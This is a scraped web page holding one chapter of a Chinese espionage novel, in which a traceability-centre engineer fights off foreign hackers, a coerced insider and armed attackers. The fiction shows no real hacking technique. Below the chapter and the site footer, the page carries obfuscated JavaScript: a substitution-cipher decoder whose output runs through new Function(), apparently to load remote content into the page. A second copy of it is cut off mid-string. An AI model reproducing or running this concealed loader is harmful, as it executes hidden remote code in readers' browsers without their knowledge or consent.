第22章 溯源死战:昝溯徽死守数据防线
第22章溯源死战:昝溯徽死守数据防线(第1/2页)
第一节黑客狂袭溯源中心告急
军工区块链溯源中心的应急警报,如同凄厉的尖啸,刺破了江州深夜的宁静,整栋二十层的科研大楼,所有警示灯瞬间转为刺目的血红色,灯光疯狂闪烁,映得大厅里每一个技术人员的脸上都布满了焦灼与惶恐。
昝溯徽坐在核心指挥室的主控台前,指尖在全息操作屏上飞速翻飞,敲击的速度快到出现残影,额角却早已渗出细密的冷汗,顺着冷峻的下颌线不断滑落。屏幕上,密密麻麻的红色警报代码如同潮水般疯狂涌动,一行行刺眼的提示文字不停刷新——【境外高强度DDoS攻击入侵】【核心数据链路遭阻断】【三级加密防火墙即将突破】【军工原料溯源账本被窃取】!
“昝工!一号防火墙失守!黑客团伙通过二十三个境外匿名节点,同时发起流量攻击,咱们的带宽被占满了!”
“二号数据备份仓遭恶意篡改,蜂巢黑客植入了恶性木马病毒,正在批量销毁钢材、芯片质检的原始数据!”
“应急算力不足!总部调配的增援算力,被总署那边无故截留,申请通道全被锁死了!”
一声声急促的汇报,如同重锤般狠狠砸在昝溯徽的心上,她抬眼望向铺满整面墙的巨型数据大屏,只见代表军工核心溯源数据的蓝色光带,正被一道道狰狞的红色数据流疯狂蚕食、撕裂,原本完整无缺的军工供应链数据链,已经出现了十几处致命断裂,而这些断裂的节点,全都是江州军火库造假案、江源基地原料替换案的核心证据!
她心里比谁都清楚,发起这场攻击的,正是境外蜂巢间谍组织的顶尖黑客团队,这是一场蓄谋已久的精准打击,目的就是要彻底销毁所有军工造假的溯源证据,让郇执纲此前所有的调查都化为泡影,让寇怀谦一伙的罪行永远掩埋在数据废墟之下。
更让她心寒的是,黑客攻击的时间掐得精准至极,恰好选在郇执纲孤身逃离西郊废弃仓库、与外界失联的关键时刻,又恰好赶在溯源中心准备将完整证据链提交国安部门的前夜,分明是有人提前泄露了中心的行动部署,给蜂巢递了精准情报!
“立刻启动备用防火墙,启用军工级量子加密协议,所有技术人员分成三组,一组死守核心账本,二组拦截木马病毒,三组修复断裂数据链!”昝溯徽的声音冷静得近乎冰冷,即便身处绝境,也没有丝毫慌乱,周身散发着技术精英独有的笃定气场,“任何人不得擅离岗位,核心原始数据哪怕丢失一比特,都是咱们对国家的失职!”
她话音刚落,指挥室的电源突然毫无征兆地剧烈闪烁,灯光忽明忽暗,主控台的全息屏幕瞬间黑屏两秒,再次亮起时,警报声变得更加急促!
“昝工!大楼应急供电系统被人为切断了!备用发电机无法启动,核心机房的供电只能维持最后四十分钟!”
昝溯徽的瞳孔骤然收缩,指尖猛地一顿,心底瞬间了然——这根本不是设备故障,是寇怀谦在背后下黑手!
溯源中心的供电系统直接由军工总署直管,备用发电机更是三重防护,除了总署顶层高管,根本没人能擅自切断。寇怀谦借着总署总顾问的职权,明面上默许他们调查,暗地里却配合蜂巢黑客,从物理层面掐断溯源中心的命脉,就是要内外夹击,彻底毁掉军工溯源数据!
“联系大楼安保组,立刻排查供电故障,不管付出什么代价,十分钟内必须恢复备用供电!”昝溯徽强压着心底的怒火,快速下达指令,同时将自身的军工区块链权限开到最大,调动自己耗时三年研发的数据可视化共情能力,全身心投入到这场没有硝烟的死战之中。
她的金手指,是旁人无法复刻的天赋——能将冰冷抽象的代码、数据流,转化为具象化的攻防画面,精准捕捉黑客的攻击路径、木马病毒的藏匿节点,哪怕是极其细微的代码异常,都能瞬间捕捉。此刻,在她的视野里,整个溯源中心的数据防线,就是一座固若金汤的城池,而蜂巢的数十万道黑客攻击,就是铺天盖地的攻城军队,正疯狂撞击着城池的城墙,每一秒都有城墙坍塌、防线失守。
更致命的是,城池内部还有内鬼作祟!
主控台的后台数据突然出现异常跳转,一道内部权限悄悄开启,给境外黑客打开了一道直通核心账本的后门,大批红色数据流顺着后门长驱直入,眼看就要吞噬存储着十年前郇望松殉职案、江州军火库造假案所有原始证据的核心数据库!
“找到内鬼了!是三楼机房的运维员赵凯,他用内部运维权限私自开启后门,配合黑客入侵!”负责排查内部异常的技术员失声惊呼,语气里满是难以置信。
昝溯徽抬眼望去,只见那个平日里沉默寡言、兢兢业业的运维员,此刻正脸色惨白地操作着电脑,指尖不停颤抖,却依旧固执地向黑客传递着中心的防御部署。
“为什么这么做?”昝溯徽通过内部通讯器,沉声质问,声音里带着彻骨的寒意。
赵凯浑身一颤,不敢抬头,声音里满是绝望与痛苦:“昝工,我没办法……我女儿被黑隼的人绑架了,他们说,我不配合,就杀了我女儿……我只是想救我的孩子啊!”
家国大义与个人亲情的抉择,瞬间摆在了所有人面前。溯源中心的技术人员们面面相觑,心底满是憋屈与无奈——他们在前方死守数据防线,却被幕后黑手用家人性命要挟,内部频频掣肘,境外黑客步步紧逼,供电随时会彻底中断,这样的绝境,根本看不到丝毫胜算!
蜂巢黑客的攻击愈发猛烈,木马病毒已经渗透到边缘数据库,江源基地的钢材质检数据、被策反内鬼的资金流水数据,正在以肉眼可见的速度被销毁、篡改。四十分钟的供电倒计时,每一分每一秒都在飞速流逝,仿佛死神的脚步,一步步逼近溯源中心,逼近整个军工调查的最后希望!
昝溯徽死死盯着主控屏幕,指尖因为用力而泛白,她绝不能让这些用鲜血换来的证据化为乌有,绝不能让郇执纲的冒险、郇望松的牺牲全都白费,哪怕拼尽一切,也要守住这条关乎国防安全的数据防线!
第二节双线死守技术博弈破暗袭
“安保组到位了吗?”昝溯徽快速对着通讯器问道,语气依旧沉稳,没有丝毫退缩。
“已经到位!赵凯已经被控制,后门程序正在强制关闭!”通讯器里传来安保组长的急促回应,“但供电故障确实是总署那边下发的指令,我们无权干预,备用发电机的启动权限,必须要有寇怀谦的亲笔签字,根本申请不下来!”
“寇怀谦……”昝溯徽在心底默念这个名字,眼底闪过一丝彻骨的寒意,她不再寄希望于总署,转而调动所有可用资源,孤注一掷,“启动核心机房离线供电模块,牺牲所有边缘数据,集中全部算力,死守核心原始账本!立刻梳理黑客攻击路径,我要找到他们的总控节点!”
指令下达,所有技术人员立刻行动,舍弃了已经被病毒渗透的边缘数据,将仅剩的供电与算力全部集中到核心数据库,一道道全新的量子加密屏障快速搭建,将蜂巢黑客的攻击暂时阻挡在外。
昝溯徽闭上双眼,再睁开时,眼底只剩下极致的专注,数据可视化共情能力全力运转,海量的代码数据流在她脑海中具象化,每一道攻击的来源、每一段病毒的代码逻辑、每一个黑客节点的位置,都清晰地呈现在她眼前。
她发现,这次发起攻击的蜂巢黑客团队,足足有上百名顶尖黑客,分为多个小组,分工明确,配合默契,攻击手法凌厉狠绝,完全是奔着彻底摧毁军工溯源体系而来。更关键的是,黑客的总控节点,竟然隐藏在总署内部的服务器之中,和寇怀谦的专属权限服务器直接连通!
这意味着,寇怀谦不仅在物理层面切断供电,更是直接给蜂巢黑客提供了总署的内部服务器作为跳板,方便他们发起更猛烈的攻击,内外勾结的程度,早已到了肆无忌惮的地步!
“找到黑客总控节点,就在总署寇怀谦的专属服务器集群内,立刻发起反向溯源,锁定黑客的真实身份!”昝溯徽快速敲击屏幕,将自己捕捉到的攻击路径共享给所有技术人员,“咱们的区块链数据具有不可篡改特性,只要守住核心账本,就算外围数据被毁,也能通过存证节点恢复,现在,跟我发起反击!”
她率先带头,操控着加密数据屏障,朝着黑客的攻击节点发起反向围剿,一行行精准的防御代码快速输出,将蚕食防线的红色数据流一步步逼退,被木马病毒篡改的数据,在量子加密协议的修复下,一点点恢复原貌。
指挥室内,键盘敲击声、警报声、技术员的汇报声交织在一起,气氛紧张到了极致。所有人都在和时间赛跑,和境外黑客博弈,和幕后黑手对抗,每一个人的脸上都写满了坚定,即便身处绝境,也没有一个人选择退缩。
(本章未完,请点击下一页继续阅读)第22章溯源死战:昝溯徽死守数据防线(第2/2页)
就在溯源中心的技术攻防战进入白热化之际,大楼外突然传来剧烈的爆炸声,玻璃震得嗡嗡作响,安保警报瞬间拉响!
“昝工!不好了!黑隼****突袭大楼正门,他们携带了爆破装置,想要强行闯入核心机房,物理销毁数据服务器!”
通讯器里,安保组长的声音带着剧烈的喘息,还夹杂着密集的枪声,显然已经和黑隼杀手交火。寇怀谦的算计堪称歹毒至极,一边让蜂巢黑客从网络层面摧毁数据,一边派黑隼杀手从物理层面突袭,双线夹击,就是要彻底断了所有退路,将溯源中心夷为平地!
“立刻启动大楼安防系统,关闭核心机房防爆门,死守机房入口!”昝溯徽心头一紧,一边继续操控数据防线反击黑客,一边快速部署安保防御,“所有非技术岗人员,协助安保组阻拦****,绝对不能让他们靠近核心机房一步!”
此刻的昝溯徽,身兼两重重任,既要在网络战场对抗蜂巢顶尖黑客,又要统筹大楼安保,阻拦黑隼杀手,肩上的重担压得她几乎喘不过气,可她依旧咬牙坚持,脑海里只有一个念头:守住!必须守住!
就在这千钧一发之际,溯源中心大楼外突然传来一阵急促的警笛声,反恐特战队的车辆飞速赶到,钟离钺带着特战队员迅速下车,立刻投入战斗,与黑隼杀手展开激烈交火!
“昝工,我们是反恐特战队,钟队长带队前来支援,黑隼杀手很快就能被肃清!”
听到通讯器里的声音,昝溯徽紧绷的心弦终于稍稍放松,眼底闪过一丝动容。她知道,是郇执纲在脱困后,第一时间联系了钟离钺,即便自身身陷通缉险境,依旧没有忘记守护溯源中心,守护这份关乎家国的证据。
有了反恐特战队的支援,大楼外的黑隼杀手很快被压制,死伤惨重,剩余的杀手仓皇逃窜,物理层面的危机暂时解除。
而网络战场之上,昝溯徽抓住这转瞬即逝的契机,顺着反向溯源的路径,精准锁定了蜂巢黑客的总控节点,倾尽全部算力,发起了终极反击,一道强大的量子加密指令瞬间输出,直接切断了黑客总控节点与总署服务器的连接,将境外黑客的攻击彻底拦截在外!
“守住了!昝工,咱们守住核心数据了!黑客攻击被全面拦截,木马病毒全部清除!”
技术员们激动地欢呼起来,紧绷的神经终于放松,不少人累得直接瘫坐在椅子上,脸上却洋溢着劫后余生的喜悦。
主控屏幕上,红色警报渐渐消退,蓝色的数据光带重新恢复完整,核心原始账本安然无恙,所有关键证据都被完好保存。这场持续了近三十分钟的溯源死战,他们终究是赢了!
昝溯徽缓缓松开紧握的拳头,指尖早已麻木,浑身被冷汗浸透,疲惫感如同潮水般袭来,却依旧强撑着站起身,检查核心数据的完整性。可就在她以为危机彻底解除时,屏幕角落突然闪过一行极其细微的隐藏代码,快得让人难以察觉!
第三节暗线蛰伏防线险守藏危局
昝溯徽的眼神瞬间一凝,立刻重新调动数据可视化共情能力,聚焦那行转瞬即逝的隐藏代码,逐字节进行拆解分析,脸色随着分析结果,一点点变得凝重起来。
这不是普通的攻击残留代码,而是蜂巢黑客特意留下的终极后门程序——一个隐藏极深、潜伏性极强的静默木马,没有任何破坏性行为,不会主动篡改、销毁数据,却能时刻监控核心数据库的一举一动,一旦溯源中心将证据链提交外部部门,木马就会自动触发,彻底销毁所有核心数据,并且同步将数据泄露给蜂巢境外总部!
“不好,蜂巢留下了潜伏木马,咱们只是守住了明面攻击,真正的致命隐患还在!”昝溯徽的声音瞬间打破了指挥室的喜悦,所有人的神情再次紧绷起来。
她快速调取木马程序的完整代码,试图进行清除,却发现这个木马程序采用了军工级别的加密算法,和寇怀谦的专属服务器权限深度绑定,只要寇怀谦不主动撤销权限,仅凭溯源中心的技术能力,根本无法彻底清除,强行删除只会触发木马的自毁程序,酿成无法挽回的后果!
更让她心惊的是,通过对木马代码的溯源,她发现这个潜伏后门,早在半年前就已经被植入溯源中心的核心服务器,植入者正是当时以总署巡查名义到访的寇怀谦!
这意味着,寇怀谦的布局远比他们想象的更早、更深,从一开始,他就掌控着溯源中心的核心数据命脉,所谓的调查、取证,都在他的监控之下,之前的黑客攻击、黑隼突袭,不过是他逼迫溯源中心交出证据、彻底摧毁调查希望的手段,即便没能得逞,他也握着这张终极底牌,随时能让所有证据化为乌有!
“昝工,现在怎么办?这个木马删不掉、拆不开,咱们根本没法提交证据啊!”技术员们满脸焦急,刚刚放松的神经再次绷紧,好不容易赢下死战,却又陷入了新的绝境。
昝溯徽沉默不语,指尖在屏幕上缓缓滑动,大脑飞速运转,试图找到破解之法。她很清楚,眼下的局势已经彻底明朗,寇怀谦就是蜂巢在华夏军工体系的最高指挥官蜂王,他手握潜伏木马、掌控总署权限、勾结黑隼恐怖势力,他们的一举一动都在对方的掌控之中,想要凭借溯源中心的力量对抗顶层黑手,难如登天。
就在这时,指挥室的主控台突然弹出一段匿名加密信息,没有发送者信息,没有任何标识,只有一行简短的文字:【木马绑定蜂王专属密钥,钢印密纹可破,勿轻举妄动,静待时机。】
昝溯徽的瞳孔骤然收缩,立刻意识到,这是一直在暗中帮助他们的神秘人发来的消息,也就是那个背负着内鬼骂名、潜伏在寇怀谦身边的宰砺崚!
钢印密纹可破……
她瞬间想到了郇执纲随身携带的那枚军工质检钢印,那是郇望松遗留的遗物,是开启西郊仓库证据箱的钥匙,没想到竟然还能破解寇怀谦绑定的木马密钥!
可眼下,郇执纲正被寇怀谦全境通缉,孤身在外,自身难保,根本无法赶到溯源中心,他们就算知道破解之法,也无从下手。
而且,经过这场死战,寇怀谦必然会更加警惕,后续的打压手段只会更加狠辣,不仅会进一步截留溯源中心的权限,还会加大对郇执纲的追杀力度,甚至会对溯源中心的技术人员下手,斩草除根。
“立刻将核心数据进行多重离线备份,分别存放在三个不同的隐蔽地点,杜绝所有泄露风险;所有人严格封锁消息,对外宣称核心数据被毁,溯源调查彻底终止,麻痹寇怀谦和蜂巢势力;严禁任何人私自对外联络,避免被对方监控!”昝溯徽快速下达指令,将所有风险一一规避。
她知道,眼下只能隐忍蛰伏,假装战败示弱,让寇怀谦放松警惕,同时暗中等待郇执纲脱困归来,用那枚承载着两代人坚守与血泪的质检钢印,破解这个致命的潜伏木马。
这场溯源死战,他们看似守住了数据防线,赢得了阶段性的胜利,实则依旧深陷寇怀谦布下的惊天危局之中,真正的生死博弈,才刚刚开始。
主控屏幕上,核心数据安然无恙,那道隐藏的潜伏木马依旧在悄然蛰伏,如同悬在头顶的达摩克利斯之剑,随时可能落下。
而此时的江州街头,被全境通缉的郇执纲,正藏身于隐蔽角落,看着溯源中心遭遇袭击的新闻,眼底满是焦灼与怒意,他紧紧攥着怀中的质检钢印与父亲留下的证据箱,朝着溯源中心的方向,悄然前行。
他很清楚,昝溯徽守住了数据防线,可危机并未解除,寇怀谦的终极杀招还在暗处蛰伏,他必须尽快与昝溯徽汇合,用父亲留下的最后底牌,撕开这张笼罩在军工体系上空的谍影黑网!
与此同时,军工总署顶层办公室,寇怀谦看着手下传来的溯源中心守住数据的报告,非但没有生气,反而端起茶杯,轻轻抿了一口,嘴角勾起一抹阴鸷的笑意。
“守住了又如何?那道潜伏木马,足以让他们所有的努力都化为泡影。”寇怀谦放下茶杯,眼神冰冷,“郇执纲,昝溯徽,你们终究还是逃不出我的手掌心,这军工体系的一切,包括你们的性命,都由我说了算。”
他缓缓按下桌上的通讯器,语气淡漠地下达指令:“通知蜂巢,启动备用谍网,加大对郇执纲的追杀力度,另外,盯死溯源中心,一旦他们有任何异动,立刻触发木马,我要让所有证据,彻底消失在这个世界上。”
一场更深层次的阴谋,正在悄然酝酿,溯源中心的险守,不过是新一轮生死对决的开端,两代人的恩怨、家国大义的抉择、谍影暗战的博弈,即将迎来更加残酷的交锋!
一秒记住【顶点小说】
dingdian12345.com,更新快,无弹窗!
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD 